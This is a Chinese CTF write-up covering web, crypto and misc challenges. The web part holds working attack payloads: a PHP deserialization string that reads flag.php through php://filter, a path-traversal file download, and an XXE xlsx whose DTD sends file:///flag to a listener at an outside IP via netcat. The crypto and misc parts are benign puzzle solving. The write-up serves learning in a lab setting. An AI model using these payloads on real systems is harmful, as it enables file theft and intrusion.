WEB
AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}
FileHandler里定义的三个类型皆为protected的变量,protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3。
分开看,首先以get形式传入的str会进入这里,每个字符的ascii必须>32小于125,也就是说,会过滤掉0x00这种不可见字符:
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
这里将变量视为public类型就可绕过,看了y1ng男神的博客,学到了是因为php7.1+版本对属性类型不敏感。但是正常%(%00*%00)会被过滤,可以考虑用S。
S表示序列化内容支持16进制,S代替s的情况下
\00就会被解析成%00(1个字符),而如果是小写s,\00就是一个斜线+2个零(3个字符)
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
这两个放在一起看,必须让$op等于2,可如果op === “2”的话__destruct()函数里的内容就会在自动把它设为”1″。
这里有一个漏洞点就是弱等于的情况下是不比较类型的,2==”2″。因此可以用int类型的2绕过。
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
看到file_get_contents第一时间想到的是用伪协议去读取,查看路径:
/proc/self/cmdline
题外话,/proc/self/下经常会看这些东西:
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
cmdline 程序运行的绝对路径
cpuset docker 环境可以看 machine ID
cgroup docker环境下全是 machine ID 不太常用
得到配置文件路径/web/config/httpd.conf,可读取到/web/html,伪协议读取/web/html/flag.php。在buu复现里直接读取flag.php就ok。
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
⚪参考:
https://www.gem-love.com/websecurity/2322.html
filejava
是一个文件上传页面,经测试存在任意文件读取:

通过报错得到它的绝对路径(/usr/local/tomcat/webapps/ROOT/WEB-INF/):

java题一般会读取web.xml,引用一下Match师傅博客里的内容:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
读取一下web.xml:
   <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>
    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>
    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>
然后根据web.xml读取class文件。规律是将包名里的“.”换成“/”,然后在/WEB-INF/classes/下,一共三个。比如:
/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
使用jd-gui对三个文件进行反编译,在DownloadServlet这里可以找到任意文件读取却不能读到flag的原因:

在UploadServlet中有如下代码:
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
  
  try {
    Workbook wb1 = WorkbookFactory.create(in);
    Sheet sheet = wb1.getSheetAt(0);
    System.out.println(sheet.getFirstRowNum());
  } catch (InvalidFormatException e) {
    System.err.println("poi-ooxml-3.10 has something wrong");
    e.printStackTrace();
  } 
}
文件名是以 excel- 开始,并且扩展名是 xlsx 的话就会用 poi 进行处理。
新建一个xxe.xlsx,修改后缀名为zip,接下来要在zip中修改[Content-Types].xml的内容如下,我这里如果解压修改,再重命名xlsx就会出错(玄学问题,卡了好久,感谢byc_404师傅:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://174.1.80.141/file.dtd"> %remote;%int;%send; ]>
再把文件名字改为excel-***.xlsx
因为在buu复现的,所以开了小号开个内网靶机,获取一个ip。

在内网机上新建shell.dtd,写入如下内容:
(引入的是h3zh1师傅的payload)
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.80.141:2333?h3zh1=%file;'>">
nc -lvp 2333,上传excel-***.xlsx,成功反弹:

CRYPTO
boom
first:this string md5:46e5efe6165a5afb361217446a2dbd01
somd5解出en5oy
This time:Here are have some formulas
3x-y+z=185
2x+3y-z=321
x+y+z=173

Last time: Kill it
x*x+x-7943722218936282=0

填入第一个值得到flag。
⚪sage求解方程:
https://github.com/skyblueee/sage_tutorial_zh/blob/master/tour_algebra.rst
you raise me up
#!/usr/bin/env python # -*- coding: utf-8 -*- from Crypto.Util.number import * import random n = 2 ** 512 m = random.randint(2, n-1) | 1 c = pow(m, bytes_to_long(flag), n) print 'm = ' + str(m) print 'c = ' + str(c) # m = 391190709124527428959489662565274039318305952172936859403855079581402770986890308469084735451207885386318986881041563704825943945069343345307381099559075 # c = 6665851394203214245856789450723658632520816791621796775909766895233000234023642878786025644953797995373211308485605397024123180085924117610802485972584499
pow(m, bytes_to_long(flag), n): 函数是计算m的bytes_to_long(flag)次方,如果n在存在,则再对结果进行取模(pow(m,bytes_to_long(flag)) %n)
m c n已知,求未知的bytes_to_long(flag),经EDS师傅指点这是离散对数问题,EDS师傅tql´͈ ᵕ `͈
sage求离散对数用discrete_log。

⚪SAGE(SAGEMATH)密码学基本使用方法:
https://blog.csdn.net/qq_39642801/article/details/104158699
MISC
虚幻2
把后缀改为“png”,该图宽36像素,高度12像素。写脚本读取图片的RGB值(竖着读),每一个像素点的每一个RGB值都要逐个分析,“255”视为1,“0”视为0:
from PIL import Image
file = Image.open("file.png")
x = 36
y = 12
for i in range(x):
    for j in range(y):
        rgb = file.getpixel((i, j))
        if(rgb[0] == 255):
            print('1',end="")
        else:
            print('0',end="")
        if(rgb[1] == 255):
            print('1',end="")
        else:
            print('0',end="")
        if(rgb[2] == 255):
            print('1',end="")
        else:
            print('0',end="")
得到:
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000001111001000000001100000001111101111111110011000010011111111101111101000001111111001001001100000101111101011111110101011000000111110101111101010001110101001001110100010101111101010001101101010101111100010101111101010001011001011101111100010101111111111111010101010000110111111111111111111111111101010110011000100111111110010011100101001111111011011011111110000010101111010101100011111001111101010111101001000000110000111111111101110010110011001100110000001111111111111111111111001110111110000111111100000000000000000001101101110101111100010110110111101001111000010111111100010101111010010001100101001011111101010101011001000110001101110001111101111010011110111010000111100001111100101001111000000010001011010001111100100100001101100001000010011101111100010110001101011110100110111001111111001000111011001000101111111111111111111111010001010000010111111111111101010001110000111111111100010101111101010001101111111111111100010101111101010001010100111111111100010101111101011111011111111111111111110101111101000001101001111111111100000101111101111111111111111111111111111101111100000001100111111111111100000001111111111111111111111111111111111111111111111111111111111111111111111111
转为图片:
from PIL import Image
import re
x = 36 #宽
y = 36 #长
#长*宽是行数
im = Image.new("RGB",(x,y))
file = open(r'test.txt').read()
print(file)
black = (255,255,255)
white = (0,0,0)
z = 0
for i in range(0,x):
    for j in range(0,y):
        if(file[z]=='1'):
            im.putpixel((j,i),black)
        else:
            im.putpixel((j,i),white)
        z += 1
im.save("done.png",'png')
放大:

旋转条形码+旋转左下定位点+补全,这里测了好久,最后抱着必死的心态写了个“草”扫成功了Q Q

在线识别汉信码的网站已经凉掉了,识别用的中国编码app,感谢Hh0师傅。

 
                